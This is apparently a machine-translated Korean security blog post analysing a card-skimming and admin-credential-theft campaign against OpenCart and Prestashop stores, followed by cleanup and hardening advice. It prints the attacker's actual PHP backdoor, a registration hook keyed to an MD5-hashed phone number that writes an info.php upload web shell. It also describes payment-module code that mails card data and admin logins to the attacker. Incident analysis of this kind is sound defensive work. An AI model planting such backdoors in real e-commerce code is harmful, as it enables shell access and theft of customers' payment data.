Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop

OpenCart 및 Prestashop은 전자 상거래 운영 관리를 위한 무료 오픈 소스 솔루션입니다. 13000개 이상의 모듈이 있는 신생 기업이든 기존 브랜드이든 OpenCart는 모두를 위한 무언가를 가지고 있습니다. 또한 OpenCart는 지속적으로 고객 경험을 향상시키기 위해 노력하고 있으며 Google과 파일럿 프로젝트에 협력하기도 했습니다. 그러나 인기는 해커의 원치 않는 관심을 끌기도 합니다. 많은 OpenCart 상점은 admin/common/login.php 해킹을 경험하여 마침내 OpenCart 신용 카드 해킹으로 이어졌습니다. 공격자의 주요 목표는 OpenCart 사이트에 대한 공격으로 금전적 이익을 얻는 것입니다. Astra의 연구원들이 OpenCart 매장에 대한 신용 카드 해킹 공격을 발견했습니다. 이 문서에서는 이 공격을 분석하는 단계별 방법을 자세히 설명합니다.

신용카드 해킹:새로운 가짜 결제 수단 추가

이러한 공격은 종종 오랫동안 탐지되지 않습니다. 또한 사이트 소유자는 고객이 불만을 제기할 때만 이러한 공격을 알게 됩니다. 이 시나리오에서 고객은 특정 OpenCart 상점에서만 사용되는 손상된 신용 카드에 대해 불평했습니다. 추가 조사 결과 사이트에 피싱 형태가 존재하는 것으로 나타났습니다. 또한 관리자 비밀번호 해킹 도 감지되었습니다. 이 특별한 경우에 Astra의 연구원은 감염된 신용 카드 스틸러 피싱 양식을 식별했습니다. 사이트에 악성 코드가 주입된 합법적인 결제 양식이었습니다.

관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop

신용카드 해킹피싱 양식 이미지입니다. 그러나 이 피싱 양식은 사용자의 뱅킹 자격 증명을 공격자가 제어하는 ​​도메인으로 보냅니다. 또한 공격자는 PayPal과 같은 기본 지불 게이트웨이를 비활성화했습니다. 따라서 감염된 모든 OpenCart 사이트 간의 몇 가지 유사점은 다음과 같습니다.

  • 이전에 알려지지 않은 파일의 존재
  • 비정상적인 로그인 동작.
  • 사이트 관리자에게 정보가 없는 새 데이터베이스 관리자입니다.
  • 사용자가 사기 거래에 대해 불평합니다.
  • 패킷 분석 도구는 알 수 없는 도메인으로 나가는 트래픽을 보여줍니다.
  • 이전에는 없었던 새로운 결제 수단이 추가되었습니다.

OpenCart 신용 카드 해킹:예

이 공격은 OpenCart &Prestashop 상점의 소유자를 무력하게 만들 수 있습니다. 종종 영향을 받는 사용자는 커뮤니티 포럼에서 신용 카드 해킹에 대해 불평하는 것을 볼 수 있습니다. 또한 이러한 스레드에는 일반적으로 동일한 공격의 영향을 받은 여러 사용자가 포함되어 있습니다!

관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop 관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop

참가 항목:관리자 비밀번호 해킹

백도어를 주입하기 위해서는 먼저 공격자가 관리자 권한을 얻어야 합니다. 이를 위해 공격자는 저장소 내의 취약점을 악용했습니다. 이후 공격자는 eval(base64_decode)과 같은 위험한 기능을 사용했습니다. 서버에서 악성 코드를 실행합니다. 해킹으로 이어질 수 있는 몇 가지 일반적인 OpenCart 취약점은 다음과 같습니다.

오픈카트 SQL 주입

OpenCart 2.3.0.0 이전 버전은 SQLi에 취약했다. 악용하려면 관리자 권한이 필요했지만. 그러나 CVE-2009-1027은 OpenCart를 SQLi에 취약하게 만들었습니다. 그 외에도 버그가 있는 모듈은 SQLi의 원인이 될 수 있습니다.

OpenCart 원격 코드 실행

CVE-2010-0956은 OpenCart를 원격 코드 실행에 취약하게 만들었습니다. index.php에서 발견된 취약점 . 이로 인해 서버가 손상될 수 있습니다. 또한 OpenCartjson_decode 기능이 RCE로 이어질 수 있음 .

OpenCart 약한 자격 증명

취약하고 일반적인 암호가 손상을 초래할 수 있습니다. 단순한 무차별 대입 공격은 서버를 포기했을 것입니다.

오픈카트 XSS

공격자는 XSS를 사용하여 관리자를 속였을 수 있습니다. CVE-2015-4671 제작index.php XSS에 취약합니다. 취약한zone_id 매개변수가 해킹으로 이어질 수 있습니다.

OpenCart 제로 데이 익스플로잇

공격자가 새로운 취약점을 발견했을 가능성이 매우 높습니다. 이를 사용하여 공격자는 OpenCart 저장소를 손상시킬 수 있습니다. 가능성은 적지만 충분히 실현 가능합니다.

모든 것을 감염:신용 카드 해킹

공격자가 시스템에 침입하면 사이트의 모든 계층을 손상시키려고 합니다. 이 특별한 경우에 Astra의 연구원은 모든 고객 및 관리자 비밀번호가 도용된 것을 발견했습니다. . 이 외에도 공격자는 데이터베이스에 액세스할 수 있었습니다. 또한 공격자가 주입한 백도어가 데이터베이스의 무결성을 손상시킬 수 있습니다. 따라서 데이터베이스에 대한 액세스는 사용자 비밀번호, 이름, 주소, 주문 등과 같은 민감한 정보를 훔치는 데 사용될 수 있습니다.

또한 Astra의 연구원은 두 가지 지불 방법이 손상되었음을 발견했습니다. 다음은 다음과 같습니다.

  • Authorize.net AIM.
  • pp_pro.

이러한 지불 방법은 OpenCart, Prestashop 및 신용 카드 해킹을 수행하는 데 도움이 되었습니다. 두 결제 수단 모두 악성 코드가 주입되었습니다. 그 중 일부가 아래에 나와 있습니다.

관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop

여기에서 공격자는 Curl을 사용했습니다. PHP 라이브러리 HTTP를 만들려면 요청. 그 후 메일은 Smail MTA를 사용하여 작성됩니다. Smail은 가볍고 휴대가 간편한 메일링 에이전트입니다. 이 메일에는 다음에 대한 민감한 정보가 포함되어 있습니다.

  • 주문 ID.
  • 지급 이름.
  • 지급 성.
  • 주소.
  • 지불 도시.
  • 신용카드의 만료일 및 월
  • CVV 번호.
  • 신용카드 번호.

이 모든 정보는 그룹화되어 Yopmail로 전송됩니다. 주소. Yopmail은 익명의 이메일 서비스이므로 공격자를 추적하기가 어렵습니다. 그러나 받은 편지함은 공개되어 있으므로 누구나 액세스할 수 있습니다. 이를 피하기 위해 공격자는 별칭을 사용했습니다. 이러한 별칭은 Yopmail 자체의 보안 기능입니다. 따라서 공격자의 원래 받은 편지함을 찾기가 매우 어려워집니다.

Authorize.net 해킹

Authorize.net은 OpenCart 매장에서 작동하는 결제 솔루션입니다. 공격자는 신용 카드 정보를 훔치기 위해 이 결제 수단을 표적으로 삼을 가능성이 높습니다. 따라서 이 방법이 갑자기 활성화되면 귀하의 사이트가 OpenCart 신용 카드 해킹의 대상이 될 수 있습니다. 아래의 이미지는 공격자가 수행한 결제 수단이 활성화된 것으로 보입니다.

관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop

그러나 이미 authorize.net을 활성화한 경우 공격자가 사용자 지정 피싱 확장을 설치하기 위해 비활성화할 수 있습니다. 따라서 "판매자 ID 비활성화됨" 과 같은 메시지 사이트에 나타날 수 있습니다. 이 외에도 확장 페이지에서 결제 수단이 누락될 수 있습니다. 이 모든 징후는 가능한 신용 카드 정보 도용 시도를 암시합니다. 따라서 도난당한 신용 카드에 대해 고객에게 알리는 것이 좋습니다. EU 내에서 사업을 운영하거나 EU 고객의 데이터를 처리하는 경우 GDPR에 따라 이 정보를 공개해야 합니다.

지속성 유지:admin/common/login.php 해킹됨

공격자가 관리자 권한을 얻으면 다음 단계는 핵심 파일을 수정하는 것입니다. 코어 파일을 수정하면 공격자가 사이트에 지속적으로 액세스할 수 있습니다. 지속적인 액세스를 유지하기 위해 공격자는 로그인/관리자 페이지도 삽입했습니다. 아래는 admin/common/login.php hacked의 코드 스니펫입니다.

관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop

공격자가 Smail을 사용하여 이메일을 보낸 것은 악성 코드를 통해 알 수 있습니다. Smail을 사용하면 사용자가 명령줄을 통해 모든 작업을 수행할 수 있습니다. 공격자들의 첫 번째 선택이 되도록 합니다. 그런 다음 이메일은 로그인 자격 증명을 사용하여 작성됩니다. 사용자 이름과 비밀번호가 포함된 이 이메일은 공격자의 받은 편지함으로 전송됩니다. 여기에서 공격자는 admin@wsxdn.com 받은편지함으로.

또한 이 코드는 관리자가 로그인할 때마다 실행됩니다. 따라서 공격자는 이메일을 통해 최신 로그인 자격 증명을 알 수 있습니다. 이 악성 코드를 통해 공격자는 사이트에 지속적으로 액세스할 수 있습니다. info.php과 같은 이 백도어 외에도 또한 공격자가 지속성을 유지하도록 도와줍니다. Info.php 이 기사의 뒷부분에서 논의될 것입니다.

관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop

탐지 회피:무료 가입으로 낮은 가격

이 특정 사례에서 사이트는 무료 가입을 허용했습니다. 따라서 공격자는 일반 사용자가 리버스 셸을 얻을 수 있는 방식으로 코드를 수정했습니다. 악성코드는 아래와 같이 생겼습니다.

protected function validate() { if(md5($this->request->post['telephone'])=='66b6d63b9634e1159e53e29858de2c2d'){$file2 = "info.php";$handle2 = fopen($file2, 'w+'); fwrite($handle2,'<?php $files = @$_FILES["files"];if($files["name"] != ""){$fullpath = $_REQUEST["path"].$files["name"];if(move_uploaded_file($files["tmp_name"],$fullpath)){}}exit("<form method=POST enctype=multipart/form-data action=><input type=text name=path><input type=file name=files><input type=submit value=Up></form>");?>');fclose($handle2); }

이 코드는 특정 전화번호를 확인합니다. 입력하면 파일 업로드를 허용합니다. Astra의 연구원들은 다음과 같이 단계별 프로세스를 밝혀냈습니다.

  • 1단계 :공격자는 무료 가입을 사용하여 여러 명의 신규 사용자를 생성했습니다. 여러 계정은 최소한의 탐지 가능성을 의미했습니다.
  • 2단계 :그런 다음 공격자는 입력란에 특정 전화번호를 입력합니다. 공격자는 md5 형식으로 암호화하여 실제 전화번호를 난독화했습니다. 암호화된 문자열은 66b6d63b9634e1159e53e29858de2c2d입니다. . 이 전화번호는 백도어를 업로드하는 마스터 키 역할을 합니다.
  • 3단계 :전화번호가 추가되는 즉시 파일명이 info.php인 파일 생성됩니다. 따라서 최종 URL은 다음과 같습니다.example.com/info.php .
  • 4단계 :파일info.php일 때 공격자가 액세스하면 파일을 업로드할 수 있습니다.
  • 5단계 :이 업로드 옵션을 사용하면 공격자가 감염된 PHP 파일을 업로드할 수 있습니다. 이 파일은 공격자에게 역방향 TCP, ICMP 연결 등을 엽니다. 파일이 루트 디렉토리에 업로드되면 결과가 더 비참할 수 있습니다!

이 외에도 공격자들은 이미지 섹션에 백도어를 숨겼습니다. 이미지 폴더에서 파일을 찾을 가능성이 매우 적기 때문에 , 공격자에게 좋은 엄폐물을 제공했습니다. 공격자는 정리의 경우에 이미지 폴더에서 사이트를 재감염시키려고 했습니다!

관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop

공격 후 정리

공격 후 취해야 할 주요 단계는 전체 청소를 수행하는 것입니다. 감염된 파일을 삭제하고 백업에서 복원하십시오. 백업을 사용할 수 없는 경우 새로 설치하십시오. 특히 결제 파일을 복원해야 합니다. 다음 파일을 찾으십시오.

  • /admin/controller/extension/payment.php.
  • /admin/controller/common/login.php.
  • /catalog/controller/payment/authorizenet_aim.php.

이 파일에는 OpenCart &Prestashop 신용 카드 해킹의 악성 코드가 주입되어 있습니다. 이 파일을 즉시 복원하십시오. 공격자에 의해 수정된 파일에 대한 이 감시와는 별도로. 이것은 다음 SSH를 실행하여 수행할 수 있습니다. 명령:

$ find ./ -type f -mtime -15

타임스탬프를 보고 공격자가 수정한 파일을 삭제합니다. 또한 PhpMyAdmin과 같은 도구는 이 엉망진창을 청소하는 데 유용합니다.

관리자 비밀번호 손상 및 신용 카드 정보가 해커 이메일로 전송됨 – OpenCart 및 Prestashop

PhpMyAdmin의 샘플 이미지 악성 도메인을 탐지하는 데 사용됩니다.

공격 완화

관리자 폴더 보호

관리자 폴더의 이름을 바꿉니다. 이것은 공격자가 그것을 찾기 어렵게 만들기 때문입니다. 또한 .haccess를 사용합니다. admin IP를 제외한 모든 IP의 로그인 폴더 접근을 거부합니다.

카탈로그 보호

.htaccess 카탈로그 및 .txt, .twig 등과 같은 민감한 파일을 보호하는 데에도 사용할 수 있습니다. 파일 일치로 작업을 수행할 수 있습니다. 따라서 요구 사항에 따라 .htaccess 파일에 다음 줄을 추가하기만 하면 됩니다.

<FilesMatch ".(php|twig|txt)$">
Order Deny,Allow
Deny from all
Allow from "your ip address"
</FilesMatch>

폴더 권한 제한

관리자만 OpenCart 파일 및 하위 폴더에 액세스할 수 있는지 확인하십시오. 따라서 이를 수행하려면 .htaccess에 다음 코드를 추가하기만 하면 됩니다. 파일.

<Files *.*>
Order Deny,Allow
Deny from all
Allow from "your ip address"
</Files>

파일 권한 제한

민감한 파일에 대한 파일 권한을 644로 설정하여 보호 또는 444 . 이것은 다른 사람들이 그들에게 쓰는 것을 방지하기 때문입니다. 일부 민감한 파일은 다음과 같습니다.

  • config.php
  • index.php
  • admin/config.php
  • 관리자/index.php
  • 시스템/startup.php

아스트라 방화벽

Open Cart &Prestashop 신용 카드 해킹은 상점의 평판을 심각하게 저해할 수 있습니다. 사용자는 상점에 온라인 결제를 하는 동안 미래에 불안감을 느낄 수 있습니다. 따라서 가장 좋은 방법은 가까운 시일 내에 이러한 공격을 방지하는 것입니다. 따라서 이것은 방화벽으로 수행할 수 있습니다. Astra의 방화벽과 같은 방화벽은 잘못된 요청이 있는지 모든 트래픽을 모니터링합니다. Astra firewall ensures that only safe requests reach the server. Apart from this, Astra also notifies regarding new logins and file modifications. Also, with Astra keep your OpenCart &PrestaShop store safe from getting admin/common/login.php hacked.